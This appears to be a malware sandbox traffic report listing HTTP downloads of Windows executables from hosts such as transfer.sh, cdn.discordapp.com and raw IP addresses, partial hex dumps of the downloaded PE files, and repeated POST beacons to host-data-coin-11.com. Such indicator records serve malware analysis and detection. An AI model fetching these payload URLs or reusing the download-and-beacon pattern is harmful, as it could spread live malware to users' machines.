00 00 b0 05 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 71 01 00 c8 00 00 00 00 90 01 00 4c 16 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 74 01 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 63 6f 64 65 00 00 00 7e 38 00 00 00 10 00 00 00 3a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 00 00 00 42 d6 00 00 00 50 00 00 00 d8 00 00 00 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a8 33 00 00 00 30 01 00 00 34 00 00 00 16 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 8c 17 00 00 00 70 01 00 00 12 00 00 00 4a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 4c 16 04 00 00 90 01 00 00 18 04 00 00 5c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 14 Jan 2022 01:05:27 GMTContent-Type: application/octet-streamContent-Length: 452096Last-Modified: Thu, 13 Jan 2022 18:37:45 GMTConnection: keep-aliveETag: "61e07179-6e600"Expires: Fri, 21 Jan 2022 01:05:27 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 23 15 67 78 67 74 09 2b 67 74 09 2b 67 74 09 2b b4 06 0a 2a 6d 74 09 2b b4 06 0c 2a eb 74 09 2b b4 06 0d 2a 73 74 09 2b 35 01 0c 2a 41 74 09 2b 35 01 0d 2a 76 74 09 2b 35 01 0a 2a 75 74 09 2b b4 06 08 2a 64 74 09 2b 67 74 08 2b 30 74 09 2b d2 01 0c 2a 66 74 09 2b d2 01 f6 2b 66 74 09 2b 67 74 9e 2b 66 74 09 2b d2 01 0b 2a 66 74 09 2b 52 69 63 68 67 74 09 2b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 3a 54 e0 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0e 1d 00 d0 00 00 00 ec 0f 00 00 00 00 00 00 10 00 00 00 10 00 00 00 e0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 15 00 00 04 00 00 19 a2 03 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c ec 10 00 a4 00 00 00 00 20 0f 00 1d a2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 2d 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 10 00 00 00 76 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 60 00 00 00 e0 00 00 00 2a 00 00 00 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 e0 0d 00 00 40 01 00 00 0a 00 00 00 a4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 b0 01 00 00 20 0f 00 00 a4 01 00 00 ae 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 10 00 00 00 d0 10 00 00 00 00 00 00 52 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 00 00 00 00 a0 04 00 00 e0 10 00 00 94 04 00 00 52 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 61 64 61 74 61 00 00 00 10 00 00 00 80 15 00 00 00 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 14 Jan 2022 01:05:30 GMTContent-Type: application/octet-streamContent-Length: 2387648Last-Modified: Thu, 13 Jan 2022 20:11:19 GMTConnection: keep-aliveETag: "61e08767-246ec0"Expires: Fri, 21 Jan 2022 01:05:30 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 ca 5e 3d 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 64 3f 00 00 18 03 00 00 00 00 00 00 e0 42 00 00 20 00 00 00 a0 3f 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 44 00 00 04 00 00 6f 94 24 00 02 00 60 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 b0 3f 00 dc 01 00 00 00 c0 3f 00 14 17 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 65 64 61 74 61 00 00 00 a0 3f 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 43 52 54 00 00 00 00 00 10 00 00 00 b0 3f 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 14 17 03 00 00 c0 3f 00 14 17 03 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 43 52 54 00 00 00 00 00 80 01 00 00 e0 42 00 17 79 01 00 00 1e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 14 Jan 2022 01:05:33 GMTContent-Type: application/octet-streamContent-Length: 535232Last-Modified: Thu, 13 Jan 2022 18:38:25 GMTConnection: keep-aliveETag: "61e071a1-82ac0"Expires: Fri, 21 Jan 2022 01:05:33 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 73 0f cc 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 3a 00 00 00 0a 04 00 00 00 00 00 00 a0 04 00 00 20 00 00 00 60 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 06 00 00 04 00 00 be bf 08 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e4 01 00 00 00 90 00 00 ac 08 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 6c 73 00 00 00 00 00 70 00 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 43 52 54 00 00 00 00 00 10 00 00 00 80 00 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 ac 08 04 00 00 90 00 00 ac 08 04 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 00 80 01 00 00 a0 04 00 11 7d 01 00 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /32739433.dat?iddqd=1 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.233.81.115
Source: global traffic	HTTP traffic detected: GET /attachments/903666793514672200/930134152861343815/Nidifying.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /abhF HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: goo.su
Source: global traffic	HTTP traffic detected: GET /get/QbPlFD/G.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: transfer.sh
Source: global traffic	HTTP traffic detected: GET /get/TQL2Nf/1.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: transfer.sh
Source: global traffic	HTTP traffic detected: GET /get/VrsVTW/2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: transfer.sh
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tohbexyqd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 157Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qemwkkknb.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 349Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sehjpct.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 352Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kkhrplyy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 197Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lidkfd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 123Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://popkliov.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 130Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fykgdre.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 214Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uvumpml.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 352Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/9030_1641816409_7037.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hgkjur.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 223Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wgptatsj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 121Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hrthj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 123Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vttyxu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 150Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacy-tools-for-you-780.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tvglqqodwb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 209Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xhagxmh.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 317Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yyienu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 156Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kdqhcrm.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 357Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://daysw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 327Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://plwordqp.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 246Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wraamedrjj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 247Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kqdfkw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 225Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dxrctvfush.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 327Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lccuodusvk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 195Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fuugcf.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 320Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uiutea.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 296Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://awxalb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 310Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://imnsr.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 368Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uuinpcd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 346Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cigfojyqm.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 185Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ivtvvkhir.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 159Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wpstfsv.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 166Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://itqdcuytc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 140Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jtxlcvkyhk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 229Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xebsw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 134Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nidynuvo.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 215Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pgwyor.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 113Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://othilrqrd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 363Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mytdlnr.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 249Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oujeptp.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 312Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://actajhjta.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 356Host: host-data-coin-11.com
